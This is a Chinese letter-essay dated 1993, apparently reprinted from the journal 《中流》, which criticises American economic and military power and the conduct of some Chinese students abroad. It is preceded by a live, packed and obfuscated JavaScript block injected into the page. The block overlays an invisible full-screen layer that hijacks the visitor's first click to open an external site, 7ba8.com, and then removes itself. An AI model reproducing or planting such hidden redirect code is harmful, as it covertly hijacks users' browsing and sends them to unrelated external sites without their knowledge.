<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>能够吃上美味佳肴,本身是件好事;我也非常喜欢精美可口的食品。只是人不仅会吃,人还会思考,毕竟与猪类不同。比如,一个人吃了一顿格外丰盛的酒宴,在剔牙齿的时候,也许会问一下自己是什么使她觉得自个儿在中国吃喝玩乐得“像一个美国人”,如果想一想,这同样一笔钱,来纽约吃同样的中国餐,几天就会难以为继,她那份暂时济身“有钱阶层”的快乐,也许就不那么纯粹完美了。她也许会想到,这是由于中美两国在世界现存的经济与政治秩序中的不同地位;而这两国之间的等级差别,就使中国与美国同等的劳动力价值在化为交换价值时变得不同等了。而劳动力价值与交换价值之间落差越大,从中可谋的剩余价值也就越高。不是么?穷国摆脱其穷困的艰难,富国强权在不发达国家不断获取廉价人力和廉价资源,不断扩展倾销商品的市场而变得益富,根源之一不就在这里么?而当这样的致富手段受到威胁,哪怕这威胁是来自于原本是家奴的一族酋首,强权主子的导弹就直飞到那一族的妇孺百姓头上去。
1991年年初的波斯湾战争,无论美国如何披挂堂皇的彩带,阿拉伯的石油,实在是美军大打出手的重要原因之一。记得当时在《华盛顿邮报》上看到一幅漫画,画一个记者向报纸读者提问:“为了我们美国人冬天在房间里也能穿T恤衫,先生们,你们认为该杀掉多少阿拉伯人?”众先生齐答:“所有的阿拉伯人!”作者的尖锐,真有点让人触目惊心。确实,翻开《纽约时报》商业版,涉猎《华尔街报》的各种讯息,琢磨伦敦《经济学家》的文章与数据,人们可以看到所谓“地球村”里世界经济的大酒宴上,各色人等鏖战正酣,有在这酒宴上颐指气使,肆意饱餐的;有陪着笑脸,递酒上菜的;有仗势欺人,向着邻座盘中巧取豪夺,却满口“人权、自由”的;有不甘饿着肚子任人掠夺,辗转挣扎全力抗衡以求生存的;有铤而走险从挣扎转为公然抢人一列的;有虽吃不上却盼著有残肴可尝的;有眼睛等着终局的……发现了剩余价值秘密的马克思,虽然与我们肤色不同,语言不同,生在世上的时间、地域也不同,却有一条使我深深尊重的:他对于这酒席上巧取豪夺的一类,绝不苟随,绝不粉饰;他对于辗转其中挣扎求生的人们,是感同身受的。
可以这么说,文琪,我是留学美国之后,才开始理解马克思作为一个西方哲人的可贵;他的工作并非十全十美,但却是世界上一切在现实人生中诚实地思考的人,至今无法漠视的。
是人,都在这个世界上吃饭;只是怎么个吃法差别真是太大了!记得80年代中后期有些中国学者论证中国的文化就是“吃”的文化,这弱肉强食的西方大千世界,其文化的主体似乎更是个“吃”字!而主导着这一文化主潮的,自然是甘世纪后半叶起世界第一超经济强国——美国。这几日,我又翻了翻S.Ambrose写的《应接全球性的权力——美国对外政策史评(1938—1976)》,译上其中两段,咱们一起赏析:
“认为在这个世界上任何地方发生的变化对于美国都是事关重大的看法,与1938年美国的世界现,有着根本性的不同。这种改变的原因之一,是美国海外军事基地惊人的发展增长。在(二次)大战结束时,美国的军事机构像潮水般涌入许多权力空间;而一旦美国的军队在异土上驻扎,那片土地就被列入美国的‘必不可少的利益’名单。但是,美国起而应接全球性的权力之举绝非是无意识不自觉的,正如绝非仅仅是对所谓共产主义的挑战的反应。二次大战期间,当《生活》杂志的亨利·路斯说20世纪将是美国的世纪,他为多数的政治领袖,美国商人及军队说出了心里话。政客们寻找着那些美国的影响可以占统治地位的地区;商人们寻找着可以牟利的市场和新的原料来源;军队寻找着海外基地,他们全都发现了自己想得到的东西,使得一项没有内在限度的扩张计划揭开了帷幕。”(见该书20~21页。)
这一幕对于贫弱民族意味着经济政治与文化全方位掠夺与控制的扩张剧,融合了欧洲19世纪殖民主义者所有的基本特质,和20世纪科技发展所提供的一切日趋复杂、精细的新的方式、手段,进行了半个多世纪,却阻挡不住许多第三世界国家的独立与抗争。这些国家民众坚忍的自强,在美国以及整个西方的宣传媒介里自然无迹可循;然而他们的存在与发展是无法回避的。——似乎非常敏锐地感觉到这些在西方史书里隐没掉的历史意味着什么,并且由此而对“金元帝国”的前途,生出一份“天下没有不散的筵席”的忧虑:
“当美国创建着它的帝国,与之同时它的商人、军人和政客源源进入拉丁美洲、欧洲、东南亚以及几乎是所有的其他地区,它的领导群很少考虑美国的权力是否是有限度的。那狂乱的扩张,那以天文速度增长的‘必不可少的利益区域’,在华盛顿、华尔街和五角大楼看来,似乎是完全正常和自然的。……至于第三世界会对此产生愤怒,以及最终反抗美国的控制与统治,是不在考虑之中的。”(见该书第21—22页。)
Ambrose这最后一句话不是很准确;第三世界的自强不仅一直在“考虑之中”,而且是一直在被时明时暗地遏制和戕伐着。变革中的当代中国人,半个世纪以来何曾有一日摆脱过这遏制和戕伐的阴影。远一些的,我们还记得中国进入联合国的艰难;近一些的,我们都看到,当中国老百姓两年前与大洪水搏斗以求生存之际,全世界最高尚仁慈的“人权”领袖,天底下最富有奢侈的超级大国美国,慷慨地拨出两万五千美元,像那些穿裘皮大衣的太太打发纽约第五大街上的游魂乞儿一样,“援助”了近两亿的中国灾民。至于前不久发生的“银河号事件”,只是又一次告示了全世界,美国政府是如何任意搜查中国的远航货轮,随意侵犯中国的国际权利!在如此种种的政治、经济、社会和民族心态的遏制与戕伐中求生存,我们不得不全力自强与自新;而要自强与自新,我们又必须面对西方世界,深入西方社会,在一切方面力行鲁迅的拿来主义;在这强权当道的“世界村”中,磨炼自己的眼光、能力与意志,在不断的观察、抉择和探索中,走出自己的生路,而决不被轻易愚弄,任意歧视,肆意剥削。这其中的复杂与艰难,是我们每一个真正的中国人,在这世纪的转换之际,都深深地体验着。从这个角度看,文琪,处在中美交界湍流区的中国留学界,只要放弃中国的利益,便可荣膺20世纪中心大酒宴上权贵们的跟班或者门客的各类学人中,分化是必然的。痛苦是必然的。有人用尽心机挤进这酒宴上巧取豪夺、肆意饱餐者之列,也是毫不足怪的。只是,文琪,我自知缺少这份肆意饱餐的心肝;因为我怕自己会在幽深的睡梦中,看见那精美的大牛排血红的肉纹里,沾有故土亲人们艰辛中的血汗和辗转中的生命。我实在没有我们留学界里那些相互选出来的“总裁们”做大生意的伟人胆气;看着他们整日地游于美国政客权棍之间,“大义灭亲地”乞求美国或者取消中国的最惠国待遇,或者对中国“严加”各种各样的“制裁”,好让中国老百姓的日子过得更难一点,我总想问问他们,晚间美食大宴之后是否闹过胃绞痛;而夜半梦中,又是否有过被说着中国话的群魂索债,逼出遍体冷汗的情形呢?!
就写这点吧,下次再接写。
等你的信。
丹阳
1993年12月4日
(《中流》1994年第1期 |